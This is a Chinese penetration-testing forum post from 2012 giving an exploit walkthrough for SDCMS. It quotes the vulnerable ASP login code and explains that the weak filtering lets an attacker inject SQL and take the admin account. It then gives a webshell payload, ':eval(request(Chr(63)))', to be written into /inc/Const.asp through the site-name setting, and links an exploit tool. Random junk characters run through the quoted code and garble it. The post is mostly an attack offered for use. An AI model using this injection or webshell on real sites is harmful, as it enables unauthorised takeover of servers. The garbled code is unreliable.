中国网络渗透测试联盟

标题: SDCMS通杀漏洞利用工具及提权拿SHELL [打印本页]

作者: admin    时间: 2012-11-9 20:57
标题: SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥' d, N( h; \- B) x3 O- c( y
漏洞文件:后台目录/index.asp
2 s0 L$ S$ s' M1 I5 }( D
$ P0 f8 Q) g& bSub Check. U8 A1 ~, }. k/ X) L4 Z# L
    Dim username,password,code,getcode,Rs
0 W& [' r! c8 G0 Q* K! t- G    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
2 ~9 n: p- U5 O2 @1 O5 J    username=FilterText(Trim(Request.Form("username")),1)" j+ ?2 o, h4 {9 L* h; p( }8 d8 q, M( V
    password=FilterText(Trim(Request.Form("password")),1)4 b0 C, R& \8 G" x  j% S
    code=Trim(Request.Form("yzm"))
# D, e) W( A" E3 g5 X# O    getcode=Session("SDCMSCode")7 k. H6 P0 R1 v0 _. K) l8 g
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
1 [: i7 @6 W; z1 j1 {$ p  R    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied+ O! d# [9 Q: Q! b2 k
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
" `- ^: \( p* X; L; Z6 A    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied8 H+ w: u& R, O$ a- a, e
    IF username="" or password="" Then
1 r' O" v' u. ^& q6 [# T        Echo "用户名或密码不能为空"ied
' q; T$ y8 `% ~% d" `) J    Else
- {  p' S/ p( [  p        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")" n7 E3 `0 o: H7 [# `& w
        IF Rs.Eof Then
6 a7 I+ K+ e+ m+ a5 u' Z            AddLog username,GetIp,"登录失败",1
- n. Z$ d1 l% f: L1 N1 _8 S4 e            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"6 i8 f* [, n& P7 |+ r
        Else5 {0 C, i  k# l# `/ x+ k
            Add_Cookies "sdcms_id",Rs(0)
( N2 @$ d3 f% p$ ?0 ?9 Y            Add_Cookies "sdcms_name",username
/ M. z7 q9 G: a4 i' L% b: @/ C            Add_Cookies "sdcms_pwd",Rs(2)
' A9 O$ ]5 i2 X! f& g$ F            Add_Cookies "sdcms_admin",Rs(3)
$ {* E; [( Q& s, D6 ?            Add_Cookies "sdcms_alllever",Rs(4)8 n, Q) ?: ^' E: B4 A% i4 c
            Add_Cookies "sdcms_infolever",Rs(5)8 x' X4 U6 o3 ]* @2 f8 q: t
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
; g" _% f+ K% \/ n; ^! C! C            AddLog username,GetIp,"登录成功",1, C7 f. J1 m( t4 `
            '自动删除30天前的Log记录+ l9 }) u) O6 J  p4 P
            IF Sdcms_DataType Then
& W2 N4 K9 z- J! o' g5 M* `) h  c                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30"): {! l' _5 p8 \' ]9 A0 m6 `
            Else
3 n, G. ?4 \- A                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")- I: g+ n. w4 r) V: @
            End IF( J( G# _* Z2 B
            Go("sdcms_index.asp")
: k) m1 j1 Z3 r( H  A        End IF1 W, I+ p+ [* P% G0 w0 l1 A
        Rs.Close
% I/ I& o  r  l& s        Set Rs=Nothing
3 W. W  V+ T) A9 s) M( p    End IF  Q  h; ?1 e! g7 j  o
End Sub
/ r  ~) \' X8 v0 N" ]5 ~& b! P5 [. f  U1 F* q4 R, R4 x4 J  f
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码. X( N  R* t7 i) A) n  c6 m
9 Y" M# D: Y+ B& l7 Y: R1 `- }
Function FilterText(ByVal t0,ByVal t1)
- C/ `1 V; s" m8 {" a' X0 k    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
, Z& ?9 M6 K/ C' T    t0=Trim(t0)
; r  V- g4 v: c! O. N    Select Case t15 D; I1 L( n0 Z. M! y8 r4 C" U
        Case "1"! B- v/ x9 p  D% ^3 o" z0 |/ E$ t
            t0=Replace(t0,Chr(32),"")
, D) N; F' G4 q7 R! I/ A            t0=Replace(t0,Chr(13),"")
7 @' B  k3 d! C! n            t0=Replace(t0,Chr(10)&Chr(10),"")& l: H" d. G/ o0 ?6 `# G
            t0=Replace(t0,Chr(10),"")
7 N4 o$ b. [% W        Case "2"
/ Y( T5 P- J" s            t0=Replace(t0,Chr(8),"")'回格
$ P0 n3 i' w: \, U3 q: n- Q5 S            t0=Replace(t0,Chr(9),"")'tab(水平制表符)0 v  k/ d% X9 ?% j1 d- O3 D8 n
            t0=Replace(t0,Chr(10),"")'换行
+ S" l& W$ m" z# V, {0 g" ^            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
: W% @# [# x2 C+ ]9 l! \/ X; }2 ?            t0=Replace(t0,Chr(12),"")'换页8 W' Z/ B' I. l5 x8 d1 `
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
6 C2 Y& d; v! `3 l' e+ y            t0=Replace(t0,Chr(22),"")
4 U  `# T5 \* q; Z$ z; V            t0=Replace(t0,Chr(32),"")'空格 SPACE
  n$ |6 [* t) d8 H            t0=Replace(t0,Chr(33),"")'!3 _$ \% ^0 Z4 u+ ^
            t0=Replace(t0,Chr(34),"")'"
. t3 a+ X. @! |) l: b7 M" K6 [            t0=Replace(t0,Chr(35),"")'#
- |" Y7 H) q$ C  T            t0=Replace(t0,Chr(36),"")'$* T' N3 r9 O1 `5 A  l
            t0=Replace(t0,Chr(37),"")'%6 _# {% g+ c4 P) A2 T2 [/ |
            t0=Replace(t0,Chr(38),"")'&
: U+ ]- M% U) {5 u            t0=Replace(t0,Chr(39),"")''. e9 V: A( Q, O+ V. W7 M
            t0=Replace(t0,Chr(40),"")'(% e2 U& g& @8 u$ b- D/ n7 S# z* N8 D
            t0=Replace(t0,Chr(41),"")')! T/ b1 O( z- a* j2 G' Z
            t0=Replace(t0,Chr(42),"")'*' I! f: j! Q2 S, \+ e$ G
            t0=Replace(t0,Chr(43),"")'+
6 F3 G0 @" `- \  V7 Q            t0=Replace(t0,Chr(44),"")',2 q7 Y6 S; a- K4 ^! Z
            t0=Replace(t0,Chr(45),"")'-
/ Q' K5 W% m6 ~7 }: o( A2 S            t0=Replace(t0,Chr(46),"")'.7 z- i/ d2 B! M  q7 O
            t0=Replace(t0,Chr(47),"")'/
, l* i" [. y( w; o            t0=Replace(t0,Chr(58),"")':
3 A; G  d! X+ y7 C) ~/ Q. K6 h4 y            t0=Replace(t0,Chr(59),"")';. D: ?. ^+ {# v, u. V
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
0 |  s  [  T6 ^4 W% x$ `6 d" J            t0=Replace(t0,Chr(63),"")'?. E$ [% Y8 Z! ^+ q# @. I
            t0=Replace(t0,Chr(64),"")'@$ J; d5 s! O* w
            t0=Replace(t0,Chr(91),"")'\7 D3 b5 S* Y2 f; P0 e
            t0=Replace(t0,Chr(92),"")'\3 e/ n# [* S& _. D0 A6 x8 ^
            t0=Replace(t0,Chr(93),"")']$ e6 r- j# X" t& x& [
            t0=Replace(t0,Chr(94),"")'^
0 j1 W* g1 T* L            t0=Replace(t0,Chr(95),"")'_2 O# K; t* R# z, u$ R$ m, ^
            t0=Replace(t0,Chr(96),"")'`
# M' a( L, F4 t- E& Y            t0=Replace(t0,Chr(123),"")'{- `* v2 B9 J1 p/ q
            t0=Replace(t0,Chr(124),"")'|
" t6 V; b, |6 @9 T1 f& z( u            t0=Replace(t0,Chr(125),"")'}
# }3 I& \3 p* L0 ]" @6 \            t0=Replace(t0,Chr(126),"")'~4 Z7 I2 f& u8 |& f) v# [
    Case Else' H; Q. q/ ~* A9 S. ?7 v1 n
        t0=Replace(t0, "&", "&")
# k+ y8 c4 d( o0 Q+ F2 P) h        t0=Replace(t0, "'", "'")( t. y2 R/ [. A9 J; y$ v
        t0=Replace(t0, """", """)
% g! J. G' \; i2 v- p; e- f        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
% n$ ]9 U# V) g# f    End Select
, n. Y+ X8 U+ l, y* |. H3 Q; T    IF Instr(Lcase(t0),"expression")>0 Then# n! o2 ^+ \& X6 k" j, ^$ ~6 d
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)) z: _  f  p7 q" H; c( J9 o& G
    End If
# T, C, M% w3 x. ~6 `. o& H9 c    FilterText=t08 s2 Q8 ~" Y" O% [0 ~2 J
End Function
9 G& M+ P, H* R& E1 J5 m! Q5 L, y/ W( P' F4 l
看到没。直接参数是1 只过滤( {5 z/ F4 l, t
                        t0=Replace(t0,Chr(32)," ")
' `9 U* c9 B0 T1 Y5 a                        t0=Replace(t0,Chr(13),"")
/ J' d$ X6 |( Y5 R1 O                        t0=Replace(t0,Chr(10)&Chr(10),"" M6 ]& M# \' i7 p1 K# ?
")/ r! K1 V% B3 }& X, c
                        t0=Replace(t0,Chr(10),"# K4 x7 Y/ f! u4 |
")
  U% `/ u) C( d漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
6 ~7 Q7 _( `: g, U7 M/ _! EEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
- A' T+ C, O7 G: E& ^% p' P) l3 a5 C# ~0 l* x
测试:" x  r& ]  O/ H

9 X: ]9 Z8 `1 }9 |$ C
, D. [( ~! O- H4 t! I1 u# K现在输入工具上验证码,然后点OK+ B6 }1 d- V& s
3 ?8 j: j& f  p8 c* o$ B; E

) f7 @- Z9 B+ R" t0 U% W0 }. n  G看到我们直接进入后台管理界面了,呵呵!
# ?& L1 g) T9 p+ x% M
9 f% d: D! W* e
4 q; n: \5 D3 ^8 X+ d0 R/ T" r0 A
这样直接进入后台了。。。。' d. D* z# H# a* A$ i! L& o
( O3 K% @- y6 ]; p

# t+ c) n+ A8 g5 N3 x
1 y8 V% H: A- P% M2 cSDCMS提权:  e  F8 c" c# I; A
; Y, n4 k7 G- q- d# H6 Z
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
; i) J' \- x2 `" b( A: C- E7 r( [& E& q0 k* ?- H& N
0 _/ I, {* M, _( @

* U, {& y" v: e) K5 f$ QOK,现在用菜刀连接下!
, `2 V' H( t' p8 ^- w- t  q' Z) A" {: p6 p0 Q; u' j+ w# b: i
8 |# r, R; A# y' L. z

: V; r1 U# d$ {, o" B0 \/ s
# p$ ~) d3 e) w% {& K8 N/ J: P! e
" e  Y$ {& \4 M8 U& [/ L




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2